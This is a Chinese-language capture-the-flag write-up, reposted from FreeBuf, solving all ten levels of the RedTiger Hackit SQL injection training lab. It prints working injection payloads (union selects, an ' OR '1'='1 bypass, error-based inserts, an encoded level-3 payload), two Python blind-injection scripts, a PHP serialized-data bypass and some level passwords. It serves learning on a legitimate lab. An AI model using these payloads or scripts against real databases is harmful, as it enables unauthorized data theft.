渗透测试演练平台RedTigers Hackit通关Writeup


发布人:admin分类:网络安全浏览量:34发布时间:2017-12-12

本文仅供安全研究和小范围学习交流之用,禁止传播

RedTigers-Hackit是一个训练SQLi(SQL注入漏洞)和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。废话不多说,我们开始过关之旅吧!

Level 1

普普通通的一个注入关,直接构造语句即可

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

Level 2

题目说,一个简单的密码绕过,那就简单一下试试,sql万能密码

用户名随意密码 ' OR '1'='1

绕过成功

Level 3

尝试出个错误…也是醉了
那我们就出个错瞧瞧~
尝试是否为sqli,但是sql无错误回显,考虑php原因
直到

https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b

才显示出来一个错误

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

因为.inc这种文件可以访问,所以我们获得了一部分源码

<?php
       
   function encrypt($str)
   {
       $cryptedstr = "";
       for ($i =0; $i < strlen($str); $i++)
       {
           $temp = ord(substr($str,$i,1)) ^ 192;
           
           while(strlen($temp)<3)
           {
               $temp = "0".$temp;
           }
           $cryptedstr .= $temp. "";
       }
       return base64_encode($cryptedstr);
   }
 
   function decrypt ($str)
   {
       if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
       {
           $str = base64_decode($str);
           if ($str != "" && $str != null && $str != false)
           {
               $decStr = "";
               
               for ($i=0; $i < strlen($str); $i+=3)
               {
                   $array[$i/3] = substr($str,$i,3);
               }
               foreach($array as $s)
               {
                   $a = $s^192;
                   $decStr .= chr($a);
               }
               
               return $decStr;
           }
           return false;
       }
       return false;
   }
?>

在这个文件中,给出了对usr这个参数的加密和解密方式,所以,我们用这个加密方式加密我们的语句,得到最终的POC

https://redtiger.labs.overthewire.org/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0

Level 4

点了一下Click me,下面显示了

Query returned 1 rows.

加个单引号变为了

Query returned 0 rows.

所以应该是盲注了

order by 表示有两个column,虽然也没啥用..先来判断长度

https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17

一共17个字节,这次肯定不是MD5。。。写脚本,从A-Z a-z 0-9跑一遍,得出最终结果

# -*- coding: utf-8 -*-
import requests
s = requests.Session()
result = ""
login = {'password': 'dont_publish_solutions_GRR!',
   'level4login': 'Login'}
for x in range(1,17):
   flag = True
   url = "http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"
   for i in range(ord('a'),ord('z')+1):
       if(flag == False):
           break
       test_url = url % (x,chr(i))
       r = s.post(test_url, data = login)
       if "2 rows" in r.content:
           result = result + chr(i)
           flag = False
   for i in range(ord('A'),ord('Z')+1):
       if(flag == False):
           break
       test_url = url % (x,chr(i))
       r = s.post(test_url, data = login)
       if "2 rows" in r.content:
           result = result + chr(i)
           flag = False
   for i in range(ord('0'),ord('9')+1):
       if(flag == False):
           break
       test_url = url % (x,chr(i))
       r = s.post(test_url, data = login)
       if "2 rows" in r.content:
           result = result + chr(i)
           flag = False
   print result
print result

Level 5

还是登录绕过,禁用了几个函数,而且不是盲注,让我们关注看报错信息

通过最终的结果的行数,判断是否登录成功所以我们的POC

login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #

Level 6

Target: Get the first user in table level6_users with status 1

先查status 1 就是普普通通的注入,没啥难度
POC

https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1

Level 7

又是盲注,但是这次出在了搜索的位置,限制更加严格,所以我们换个关键字..
所以我们还是和上面某Level一样的思路
再次编程

# -*- coding: utf-8 -*-
import requests
s = requests.Session()
result = ""
login = {'password': 'dont_shout_at_your_disks***',
   'level7login': 'Login',
   'dosearch': 'search!'}
for x in range(1,17):
   flag = True
   url = "http://redtiger.labs.overthewire.org/level7.php"
   for i in range(32,127):
       if(flag == False):
           break
       login["search"] = "google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='" % (chr(i), x)
       r = s.post(url, data = login)
       if "FRANCISCO" in r.content:
           result = result + chr(i)
           flag = False
   print result
print result

上面这段代码貌似有点小问题

Level 8

加了一个' 爆出了错误,明显是error base,之后分析构造poc

hans@localhost', name=password, icq = 'q

Level 9

依旧是error base
通过一个' 判断注入出现在textarea中,于是构建语句

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

过关

Level 10

只给了一个Login按钮,通过抓包,我们看到了一个base64加密过得json
解密得到

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造这是啥,但是谷歌一下发现有人发这道题的writeup参考一下。。。
然后找到了这个http://php.net/manual/en/function.serialize.php,发现只要最后一个password改成boolean True即可…也就是说,这个是用流来保存数据的一个方式,最后的密码位改为布尔型b:1即可过关。

[作者/Jimmy Zhou(安全盒子成员),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21444725(PV) 页面执行时间:71.63(MS)
  • xml
  • 网站地图